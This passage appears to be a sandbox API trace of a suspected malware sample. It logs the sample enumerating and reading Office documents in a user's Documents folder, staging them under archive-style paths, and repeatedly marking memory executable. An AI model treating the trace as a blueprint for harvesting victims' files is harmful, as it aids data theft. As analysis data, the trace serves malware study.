ftLastAccessTime.dwLowDateTime=0x49eafe0, ftLastAccessTime.dwHighDateTime=0x1d5dd6d, ftLastWriteTime.dwLowDateTime=0x49eafe0, ftLastWriteTime.dwHighDateTime=0x1d5dd6d, nFileSizeHigh=0x0, nFileSizeLow=0x158ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PmntnTLeYfM9-DWx4 lX.odp", cAlternateFileName="PMNTNT~1.ODP")) returned 1 [0165.849] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Outlook Files", psz="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.849] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp", len=0x35 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.849] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp", psz="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp", len=0x35 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.849] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", len=0x34 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.849] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\PmntnTLeYfM9-DWx4 lX.odp", psz="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.850] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", len=0x34 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.850] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", psz="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", len=0x34 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp") returned 1 [0165.850] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91769a0, ftCreationTime.dwHighDateTime=0x1d5beef, ftLastAccessTime.dwLowDateTime=0x3f634ea0, ftLastAccessTime.dwHighDateTime=0x1d5e7b4, ftLastWriteTime.dwLowDateTime=0x3f634ea0, ftLastWriteTime.dwHighDateTime=0x1d5e7b4, nFileSizeHigh=0x0, nFileSizeLow=0x8648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pn985y8.pptx", cAlternateFileName="PN985Y~1.PPT")) returned 1 [0165.850] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\PmntnTLeYfM9-DWx4 lX.odp", psz="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx") returned 1 [0165.850] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx") returned 1 [0165.850] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx") returned 1 [0165.851] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx") returned 1 [0165.851] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Pn985y8.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx") returned 1 [0165.851] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx") returned 1 [0165.851] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx") returned 1 [0165.851] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79704d30, ftCreationTime.dwHighDateTime=0x1d5da41, ftLastAccessTime.dwLowDateTime=0xbd585410, ftLastAccessTime.dwHighDateTime=0x1d5daa1, ftLastWriteTime.dwLowDateTime=0xbd585410, ftLastWriteTime.dwHighDateTime=0x1d5daa1, nFileSizeHigh=0x0, nFileSizeLow=0x17e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qnFbtO.pps", cAlternateFileName="")) returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Pn985y8.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps", psz="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\qnFbtO.pps", psz="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps") returned 1 [0165.852] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", psz="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps") returned 1 [0165.853] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21acea0, ftCreationTime.dwHighDateTime=0x1d5635c, ftLastAccessTime.dwLowDateTime=0x9d5c3130, ftLastAccessTime.dwHighDateTime=0x1d5a96a, ftLastWriteTime.dwLowDateTime=0x9d5c3130, ftLastWriteTime.dwHighDateTime=0x1d5a96a, nFileSizeHigh=0x0, nFileSizeLow=0x6712, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tXrvgvZhuK.docx", cAlternateFileName="TXRVGV~1.DOC")) returned 1 [0165.853] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\qnFbtO.pps", psz="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx") returned 1 [0165.853] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx") returned 1 [0165.853] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx") returned 1 [0165.854] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.854] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.854] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.854] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.854] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="tXrvgvZhuK.docx", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tXrvgvZhuK.docxjz\\Documents\\Outlook Filesooksëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.855] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="tXrvgvZhuK.docx", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tXrvgvZhuK.docxjz\\Documents\\Outlook Filesooksëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.855] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.855] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.855] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.856] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\Nu56E.docx", psz="Files\\2\\\\tXrvgvZhuK.docx", len=0x18 | out: pbstr=0x1e7dfa00*="Files\\2\\\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\tXrvgvZhuK.docx", len=0x18 | out: pbstr=0x1e7df978*="Files\\2\\\\tXrvgvZhuK.docx") returned 1 [0165.857] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\tXrvgvZhuK.docx", psz="Files\\2\\\\tXrvgvZhuK.docx", len=0x18 | out: pbstr=0x1e7dfa00*="Files\\2\\\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\tXrvgvZhuK.docx", len=0x17 | out: pbstr=0x1e7df974*="Files\\2\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\tXrvgvZhuK.docx", psz="Files\\2\\tXrvgvZhuK.docx", len=0x17 | out: pbstr=0x1e7dfa00*="Files\\2\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\tXrvgvZhuK.docx", len=0x17 | out: pbstr=0x1e7df970*="Files\\2\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\tXrvgvZhuK.docx", psz="Files\\2\\tXrvgvZhuK.docx", len=0x17 | out: pbstr=0x1e7dfa00*="Files\\2\\tXrvgvZhuK.docx") returned 1 [0165.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Files\\2\\tXrvgvZhuK.docx", cchWideChar=23, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Files\\2\\tXrvgvZhuK.docxents\\Outlook Filesooksëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 23 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\Nu56E.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.858] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.859] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.859] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.859] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", len=0x2b | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx") returned 1 [0165.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.860] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx" (normalized: "c:\\users\\aetadzjz\\documents\\txrvgvzhuk.docx")) returned 0x20 [0165.860] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx" (normalized: "c:\\users\\aetadzjz\\documents\\txrvgvzhuk.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.860] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x6712 [0165.860] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0165.861] ReadFile (in: hFile=0x310, lpBuffer=0x1fd12b84, nNumberOfBytesToRead=0x6712, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fd12b84*, lpNumberOfBytesRead=0x1e7df944*=0x6712, lpOverlapped=0x0) returned 1 [0165.862] CloseHandle (hObject=0x310) returned 1 [0165.862] CharToOemBuffA (in: lpszSrc="Files\\2\\tXrvgvZhuK.docx", lpszDst=0x1fd192a4, cchDstLength=0x17 | out: lpszDst="Files\\2\\tXrvgvZhuK.docx") returned 1 [0165.862] VirtualAlloc (lpAddress=0x1fd1c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd1c000 [0165.863] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd192ec, Length=0x6712) returned 0x130d3c1f [0165.863] VirtualAlloc (lpAddress=0x1fd40000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd40000 [0165.863] VirtualFree (lpAddress=0x1fd20000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.865] VirtualFree (lpAddress=0x1fd2c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0165.866] VirtualFree (lpAddress=0x1fd54000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.866] VirtualFree (lpAddress=0x1fd1c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.866] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.866] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.866] VirtualFree (lpAddress=0x1fd14000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0165.867] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625a740, ftCreationTime.dwHighDateTime=0x1d59576, ftLastAccessTime.dwLowDateTime=0xb7f4aea0, ftLastAccessTime.dwHighDateTime=0x1d5e04c, ftLastWriteTime.dwLowDateTime=0xb7f4aea0, ftLastWriteTime.dwHighDateTime=0x1d5e04c, nFileSizeHigh=0x0, nFileSizeLow=0xb12d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vFq23fzsh1OXx8.docx", cAlternateFileName="VFQ23F~1.DOC")) returned 1 [0165.867] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\tXrvgvZhuK.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx") returned 1 [0165.867] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx") returned 1 [0165.867] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx", psz="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx") returned 1 [0165.868] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx") returned 1 [0165.868] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\vFq23fzsh1OXx8.docx", psz="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx") returned 1 [0165.868] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx") returned 1 [0165.868] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", psz="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\vFq23fzsh1OXx8.docx") returned 1 [0165.868] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x490dfcb0, ftCreationTime.dwHighDateTime=0x1d59de6, ftLastAccessTime.dwLowDateTime=0x2a2fe850, ftLastAccessTime.dwHighDateTime=0x1d5e5e2, ftLastWriteTime.dwLowDateTime=0x2a2fe850, ftLastWriteTime.dwHighDateTime=0x1d5e5e2, nFileSizeHigh=0x0, nFileSizeLow=0xbb07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YSaF.pptx", cAlternateFileName="YSAF~1.PPT")) returned 1 [0165.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: 